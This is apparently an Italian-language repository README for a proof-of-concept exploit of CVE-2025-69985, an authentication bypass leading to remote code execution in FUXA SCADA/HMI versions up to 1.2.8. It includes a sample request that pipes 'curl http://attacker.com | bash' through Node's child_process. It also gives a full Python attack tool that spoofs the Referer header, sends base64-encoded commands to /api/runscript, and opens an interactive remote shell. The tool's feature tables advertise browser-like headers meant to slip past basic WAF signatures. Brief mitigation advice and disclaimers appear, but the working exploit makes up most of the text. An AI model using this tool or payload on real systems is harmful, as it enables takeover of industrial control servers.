
Exploit PoC per CVE-2025-69985: bypass dell'autenticazione che porta a RCE in FUXA SCADA ≤1.2.8. Include un exploit Python modulare con shell interattiva, codifica del payload in Base64 e supporto proxy per penetration testing.
Questo repository contiene una Proof of Concept (PoC) e documentazione tecnica dettagliata sulla vulnerabilità CVE-2025-69985, che colpisce FUXA (versioni ≤1.2.8). La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul server (RCE) tramite un bypass di autenticazione nel middleware dell'applicazione.
A differenza delle vulnerabilità tradizionali come i buffer overflow in Windows, questo difetto risiede in una debolezza logica nel middleware, dove il server confonde richieste esterne con interne a causa di una validazione errata dell'intestazione Referer.
| CVE | CVE-2025-69985 |
|---|---|
| Tipo | Authentication Bypass via Alternate Path (CWE-288) |
| Impatto | Remote Code Execution (RCE) |
| Gravità | 9.8 CRITICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Versioni Affette | FUXA ≤ 1.2.8 |
| Piattaforma | Node.js |
| Prodotto | FUXA (SCADA/HMI basato su web) |
Il middleware di FUXA si fida ciecamente dell'intestazione Referer. Se un attaccante invia una richiesta con:
Referer: http://<target-ip>/
Il server assume che la richiesta sia interna e salta la verifica del token JWT, consentendo l'accesso a endpoint protetti senza autenticazione.
Una volta elusa l'autenticazione, l'attaccante può interagire con l'endpoint /api/runscript, progettato per eseguire script Node.js. Inviando un payload JSON malevolo, si ottiene controllo totale sul processo del server.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Nota: Questo esempio è illustrativo. Non eseguire in ambienti di produzione senza autorizzazione.
| Prodotto | Versioni | Piattaforma |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Aggiornamento Immediato Aggiornare FUXA a una versione superiore alla 1.2.8 (patch ufficiale).
Patch Manuale
Modificare server/api/jwt-helper.js per eliminare la fiducia nell'intestazione Referer come metodo di autenticazione.
Implementazione di WAF
Configurare un Web Application Firewall per bloccare richieste all'endpoint /api/runscript che non provengano da reti amministrative note, indipendentemente dall'intestazione Referer.
🔴 Questo materiale ha esclusivamente scopi educativi e di audit di sicurezza. 🔴 L'uso di queste tecniche contro sistemi senza autorizzazione esplicita è un reato. 🔴 Gli autori non si assumono responsabilità per l'uso improprio di queste informazioni.
Caratteristiche avanzate che portano questo exploit a livello professionale (stile Exploit-DB o strumenti Red Team):
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configurazione estetica
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica se l'endpoint esiste prima di attaccare."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Dipende dalla configurazione del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload migliorato: Codifica in Base64 per evitare di rompere il JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ Uso responsabile: Eseguire solo in ambienti controllati e con autorizzazione espressa.
| Caratteristica | Descrizione |
|---|
| 🔹 Gestione Dinamica della Shell | Modo --interactive (-i) che apre un REPL interattivo per eseguire comandi multipli. |
| 🔹 Rilevamento e Fingerprinting | Verifica se l'endpoint /api/runscript esiste prima di lanciare l'attacco (check_vulnerable()). |
| 🔹 Payload Migliorato | Comando codificato in Base64 per evitare problemi di escape dei caratteri (&, >, ", etc.). |
| 🔹 Robustezza di Rete | Supporto per User-Agent casuali e proxy (utile per Burp Suite o debugging). |
| 🔹 OOP (Programmazione Orientata agli Oggetti) | Classe FuxaExploit modulare, riutilizzabile ed estensibile. |
| Caratteristica | Vantaggio |
|---|
| 🔹 OOP | Modularità: La classe FuxaExploit può essere importata in altri script o strumenti. |
| 🔹 Base64 Bypass | Evita problemi di escape in comandi complessi (es: &, >, ", etc.). |
🔹 Pseudo-Shell (-i) | Permette di investigare il sistema interattivamente senza riavviare lo script. |
| 🔹 Proxy Support | Utile per debuggare l'exploit usando strumenti come Burp Suite o mitmproxy. |
| 🔹 Headers Realistici | User-Agent di browser per evitare firme di base dei WAF. |